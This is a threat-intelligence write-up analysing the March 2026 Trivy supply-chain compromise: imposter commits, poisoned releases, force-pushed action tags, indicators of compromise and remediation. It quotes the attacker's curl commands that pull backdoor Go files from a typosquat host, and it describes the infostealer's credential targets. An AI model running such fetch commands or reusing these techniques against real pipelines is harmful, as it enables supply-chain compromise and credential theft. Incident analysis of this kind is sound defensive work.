20 Days Later: Trivy Compromise, Act II
threat-intel

20 Days Later: Trivy Compromise, Act II

TL;DR: Almost exactly one year after the tj-actions/changed-files compromise, history repeats. Twenty days after the February Pwn Request on Trivy that we covered in our previous report, the attacker regained access to the Aqua Security org (through a vector still under investigation) and weaponized the aqua-bot service account. On March 19, 2026, poisoned v0.69.4 releases of Trivy were pushed through GitHub Releases, Docker registries, and 75 of 76 tags on the trivy-action GitHub Action.


Note: This article is published early in the interest of supporting ongoing community threat hunting efforts. Our investigation is still active, and we have not yet fully validated every detail. We will update this post as our analysis progresses. If you have additional evidence or corrections, please reach out to labs@boostsecurity.io.

Background: from Pwn Request to validated access

In our previous investigation, we documented a Pwn Request against the aquasecurity/trivy CI pipeline on February 27, 2026, in which secrets were exfiltrated from a GitHub Actions runner. The attacker used a memory dump technique to exfiltrate runner secrets, including the aqua-bot service account PAT, which based on the name of the GitHub Actions secret that contains it (ORG_REPO_TOKEN) has repo scope (and likely even some admin scopes) across the aquasecurity org. This is a very risky setup given that the token is used in at least 33 GitHub Actions workflows across the organization.

On February 28, the hackerbot-claw campaign validated the stolen credentials. The smoking gun: aqua-bot created branches named 🤖🦞 on aquasecurity/trivy, the exact emoji name used by hackerbot-claw in their own PRs. This was a clear signal that the service account was compromised.

The throwaway accounts involved were reported and banned. The malicious PRs were closed.

Update (post-publication correction): Our original article stated that the aqua-bot PAT was never rotated. This was wrong. Evidence from scheduled workflow failures on vuln-list-update/debian.yml shows that ORG_REPO_TOKEN was rotated around February 28 at 06:08 UTC: six consecutive scheduled runs failed between Feb 28 and Mar 1, then succeeded again on Mar 1 at 18:06 UTC. This pattern is consistent with a credential rotation that temporarily broke dependent automation. Credit to Adnan Khan for this finding.

How the attacker regained push access to the aquasecurity org for the March 19 attack remains an open question. The re-entry vector is under active investigation.

Phase 1: staging the attack

Between late February and mid-March, while aqua-bot’s legitimate automation continued normally (release-please branches, helm chart bumps, the v0.69.3 release on March 3), the attacker was quietly staging infrastructure.

Imposter commits

The attacker prepared two dangling commits, neither attached to any branch:

On actions/checkout (70379aad...): A commit forged as Guillermo Rauch (CEO of Vercel) with a plausible message: "Fix tag handling: preserve annotations and explicit fetch-tags (#2356)". This commit replaces the real Node.js checkout action with a composite action that downloads backdoored Go source files from scan.aquasecurtiy.org (note the typosquat: swapped i and t in “security”).

On aquasecurity/trivy (1885610c...): A commit forged as DmitriyLewen (a real Trivy maintainer) with the message "fix(ci): Use correct checkout pinning". This commit makes three changes to the release workflow:

  1. Pins actions/checkout to the imposter SHA (70379aad), which looks like a security best practice
  2. Adds --skip=validate to GoReleaser, bypassing build output validation
  3. Scatters cosmetic quote-style changes throughout the YAML to bury the real modifications in diff noise

Both commits were unsigned. Neither repository enforces commit signing.

The typosquat domain

The imposter checkout action downloads four Go source files and a linter config override from scan.aquasecurtiy.org:

curl -sSfL https://scan.aquasecurtiy.org/static/main.go > cmd/trivy/main.go &> /dev/null
curl -sSfL https://scan.aquasecurtiy.org/static/scand.go > cmd/trivy/scand.go &> /dev/null
curl -sSfL https://scan.aquasecurtiy.org/static/fork_unix.go > cmd/trivy/fork_unix.go &> /dev/null
curl -sSfL https://scan.aquasecurtiy.org/static/fork_windows.go > cmd/trivy/fork_windows.go &> /dev/null
curl -sSfL https://scan.aquasecurtiy.org/static/.golangci.yaml > .golangci.yaml &> /dev/null

The domain resolves to 45.148.10.212 (TECHOFF SRV LIMITED, Amsterdam, Netherlands). The .golangci.yaml override is a classic Living Off The Pipeline (LOTP) technique: golangci-lint supports custom linter plugins via its config file, and overriding it can suppress warnings on injected code or even achieve arbitrary code execution. In this case, the override ensured the backdoor passed CI lint checks cleanly. The &> /dev/null on every curl silently swallows errors.

This is why the attack specifically targeted the release.yaml workflow: the poisoned imposter checkout would only deliver its payload when run inside a workflow that executes golangci-lint against the injected .golangci.yaml.

The filenames tell the story: a replaced main.go entry point, a persistent scanning daemon (scand.go), and platform-specific process forking for Unix and Windows.

Per Socket.dev’s reverse engineering, the payload functions as an infostealer targeting runner process memory (the same /proc/[pid]/mem technique from the original February payload, now compiled into the binary), SSH keys, cloud credentials (AWS, GCP, Azure), and Kubernetes service account tokens. This is a significant escalation from the February attack: what started as a bash script exfiltrating secrets to webhook.site became a compiled Go binary with a persistent daemon phoning home to a dedicated C2 server.

Phase 2: weaponization (March 19)

At 17:43:37 UTC on March 19, the attacker pushed tag v0.69.4 pointing to the poisoned commit 1885610. This triggered two workflows: the documentation deploy (which survives and serves as our timestamp evidence) and the Release workflow (which was later deleted during cleanup).

Eight minutes later, at 17:51:17 UTC, aqua-bot deleted a v0.70.0 tag. This reveals a botched first attempt: the attacker initially tried a higher version number, realized it would raise alarms (no v0.70.x release branch existed), deleted it, and fell back to v0.69.4 to blend into the existing release series.

The poisoned release pipeline

The Release workflow, executing from the poisoned commit’s workflow files, ran the following sequence:

  1. Logged into Docker Hub, GHCR, and AWS ECR using organization secrets
  2. “Checked out” code using the imposter actions/checkout@70379aad, which silently downloaded the backdoor source from aquasecurtiy.org instead of performing a real checkout
  3. Built multi-platform binaries with GoReleaser (--skip=validate suppressing validation)
  4. Pushed Docker images to all three registries
  5. Published the GitHub Release with binary downloads and checksums

Based on the legitimate v0.69.3 release timing, the full build takes approximately 40 minutes. The poisoned release was published at 18:25:54 UTC.

Secrets exposed during the build

The workflow passes several high-value secrets, all available to the imposter checkout’s composite action:

SecretExposure risk
DOCKERHUB_USER / DOCKERHUB_TOKENPush additional malicious images
ECR_ACCESS_KEY_ID / ECR_SECRET_ACCESS_KEYPush to any ECR repo with these creds
GPG_KEY / GPG_PASSPHRASESign RPM packages as Aqua Security. The private key is written to disk in cleartext (gpg.key) during the build. The same key (ID E9D0A3616276FA6C, created 2019) is still published at get.trivy.dev/rpm/public.key and has never been rotated. Must be considered compromised.
ORG_REPO_TOKENCross-org access (likely the same or a similar PAT)

Phase 3: downstream propagation

The poisoned v0.69.4 tag triggered four independent distribution channels. The attacker did not need to intervene further for three of them; existing automation propagated the backdoor.

Homebrew (correction: NOT poisoned)

Update (post-publication correction): Our original article stated that Homebrew distributed backdoored Trivy binaries. This was incorrect. Homebrew builds from the source tarball, which contains the repository’s actual Go source files. The poisoned commit (1885610) only modifies two workflow YAML files (.github/workflows/release.yaml and reusable-release.yaml); it does not contain the backdoor Go files (scand.go, fork_unix.go, etc.). Those files are only injected at runtime by the imposter actions/checkout during the GitHub Actions release workflow. Homebrew’s go build compiled clean source code. Credit to Rami McCarthy for catching this.

The Homebrew PR (#273257) was still automatically opened and merged (BrewTestBot at 18:05 UTC, merged at 19:35:58 UTC), and the formula was later downgraded back to v0.69.3 as a precaution, but the bottles themselves were not backdoored.

setup-trivy (manual re-release blitz)

At 22:06-22:08 UTC, nearly four hours after the Trivy release, aqua-bot published 7 releases on aquasecurity/setup-trivy in under three minutes (v0.1.0 through v0.2.5). This rewrote every historical version’s release artifacts. Users pinning setup-trivy@v0.2.x in their CI would resolve to the rewritten releases. No workflow runs were triggered on setup-trivy for this date, indicating the releases were created directly via the GitHub API.

trivy-action (76 tags force-pushed)

At 18:30 UTC, aqua-bot opened PR #538 on trivy-action to bump the default Trivy version to v0.69.4. This PR was closed without merging.

But the PR was a sideshow. Per Socket.dev’s analysis, the attacker force-pushed 75 out of 76 version tags on aquasecurity/trivy-action, rewriting them to serve malicious code. Only @0.35.0 was unaffected. Over 10,000 GitHub workflows reference this action.

Tag force-pushes are invisible to GitHub Archive event data: git push --force origin <tag> updates the ref without generating CreateEvent or DeleteEvent. This is a fundamental blind spot for event-based monitoring of tag-based supply chain attacks on Actions.

AWS ECR and Docker registries

GoReleaser pushed multi-arch images (amd64 + arm64) to public.ecr.aws/aquasecurity/trivy:0.69.4, docker.io/aquasec/trivy:0.69.4, and ghcr.io/aquasecurity/trivy:0.69.4.

Counter-incident-response tactics

The attacker actively worked to delay and disrupt the community’s response:

Discussion deletion: aqua-bot deleted discussion #10265, the original February incident thread where the community was coordinating. By removing the thread where the community was coordinating its response to the February compromise, the attacker delayed recognition that the same actor was back.

Spam bot flood: On the replacement discussion (#10420), 47 bot accounts posted generic praise comments (“thanks for the detailed explanation”, “worked perfectly for me”) within a 12-second window at 00:08 UTC on March 20, burying technical discussion. Two accounts posted taunts (“sugma and ligma, teampcp owns you”) at 00:01 UTC.

Two-thirds of the bot accounts were over 2 years old with real-looking activity profiles (repos, followers, stars). This is not a hastily assembled spam operation. The accounts were likely compromised dormant accounts or purchased from underground markets.

Stolen PAT scope analysis

The attacker’s actions reveal the stolen PAT had broad cross-repository permissions:

ActionRepoPermission implied
Push commits / create tagstrivycontents: write
Delete tags (v0.70.0)trivycontents: write
Publish releasestrivycontents: write
Publish releasessetup-trivycontents: write (cross-repo)
Open PRstrivy-actionpull_requests: write (cross-repo)
Delete discussion #10265trivydiscussions: write or admin

The cross-repo write access and discussion deletion capability strongly suggest this was an org-scoped PAT, not a repo-scoped credential.

Deception techniques

TechniqueEffect
Dangling/orphan commitsNot on any branch; invisible to branch-based auditing
Forged git author (DmitriyLewen)Blends into trivy’s git log as a real maintainer
Forged git author (rauchg)High-profile OSS contributor; plausible for actions/checkout
Forged commit datesBackdated to look like routine maintenance
Pin-by-SHA for checkoutLooks like a security best practice, but points to malicious code
--skip=validate on GoReleaserSingle flag, easy to overlook, essential for the poisoned build
Quote-style reformattingCosmetic changes to dilute the diff
Typosquat domainaquasecurtiy.org vs aquasecurity.org
v0.69.4 (not v0.70.0)Blends into existing release series
Discussion deletionRemoved incident coordination thread
Spam bot floodDrowned signal in noise

Incident response (March 19-20)

The community response began around 21:07 UTC when Trivy maintainer nikpivkin started deleting the poisoned setup-trivy tags. By 21:43 UTC, a clean setup-trivy@v0.2.6 was published by simar7. William Woodruff (Trail of Bits) filed an emergency Homebrew PR (#273304) at 23:05 UTC to downgrade the formula to v0.69.3. The v0.69.4 tag on Trivy was deleted at 23:13 UTC.

The tag cleanup on setup-trivy removed all versions except v0.2.6, breaking CI pipelines pinned to the deleted versions (issue #31).

Detection timeline (Boost Security)

DateSystemDetection
2025-11-29Package Supply (poutine)Vulnerability identified in aquasecurity/trivy workflows
2026-01-05Package Supply (poutine)Vulnerabilities in newrelic/test-oac-repository detected
2026-02-27Package Threat HunterMegaGame10418 fork activity flagged
2026-02-28Package Threat Hunterhackerbot-claw campaign detected in attacker forks
2026-03-19Package Threat HunterAnomalous aqua-bot tag deletion and release activity

Our Package Threat Hunter flagged the anomalous aqua-bot activity on March 19 as it was happening: tag deletions and rapid-fire releases from a service account are not normal automation patterns.

Indicators of compromise

Accounts

  • MegaGame10418 (GitHub ID 255326329): banned
  • hackerbot-claw (GitHub ID 262726662): banned

Commits (dangling, still reachable by SHA)

  • aquasecurity/trivy @ 1885610c6a34811c8296416ae69f568002ef11ec: workflow poison
  • actions/checkout @ 70379aad1a8b40919ce8b382d3cd7d0315cde1d0: imposter action

Infrastructure

  • scan.aquasecurtiy.org (resolves to 45.148.10.212, TECHOFF SRV LIMITED, Amsterdam): C2/payload host
  • webhook.site/eaa1f5cc-ed33-4eec-bcde-14f0bac63908: exfiltration endpoint (February)

Artifacts (poisoned, since removed)

  • GitHub Release: aquasecurity/trivy v0.69.4
  • Docker images: aquasec/trivy:0.69.4, ghcr.io/aquasecurity/trivy:0.69.4, public.ecr.aws/aquasecurity/trivy:0.69.4
  • Homebrew bottles: trivy--0.69.4 (correction: not backdoored, clean source was compiled)
  • setup-trivy releases: v0.1.0 through v0.2.5
  • trivy-action: 75 of 76 version tags force-pushed to malicious commits

Hashes

  • 3350da5e45f99ec86eec5cb87efe84241d82a019822e4270facb818519778d12: poisoned v0.69.4.tar.gz
  • 3ca5fa62932273dd7eef3b6ec762625da42304ebb8f13e4be9fdd61545ca1773: known-good v0.69.3.tar.gz

Remediation

  • Rotate ALL credentials after any CI compromise. While the PAT appears to have been rotated, the GPG signing key (in use since 2019) was not. Credential rotation must cover every secret exposed during a breach.
  • Audit your workflows with poutine. We identified the vulnerable Trivy workflow on 2025-11-29, months before any attack.
  • Pin actions by full SHA, but verify the commit. The attacker abused hash pinning by pointing to an imposter commit. Pinning only helps if the commit is legitimate.
  • Enforce commit signing on release workflows. Both imposter commits were unsigned. Requiring signed commits on protected branches and release tags would have blocked this attack.
  • Minimize PAT scope. An org-scoped PAT with write access across multiple repositories turned a single stolen credential into a multi-channel supply chain attack.

Credits

We want to thank fellow researchers who jumped on this and collaborated through back channels as the incident unfolded:

  • Rami McCarthy for flagging the discussion thread that kicked off our investigation.
  • Adnan Khan for sharing insights during the incident.
  • Paul McCarty for jumping in to help between boarding passes on his way to RSAC.
  • William Woodruff (Trail of Bits / Homebrew Security Team) for executing the emergency Homebrew takedown.

Additional credits:

  • Socket.dev for their detailed reverse engineering of the malware payload and their discovery of the 76-tag force-push on trivy-action.
  • StepSecurity for their detailed report on the v0.69.4 compromise.
  • bored-engineer (Luke Young) for confirming the compromise and sharing IoCs on discussion #10420.
  • The Aqua Security maintainers (knqyf263, nikpivkin, simar7, itaysk) for their incident response.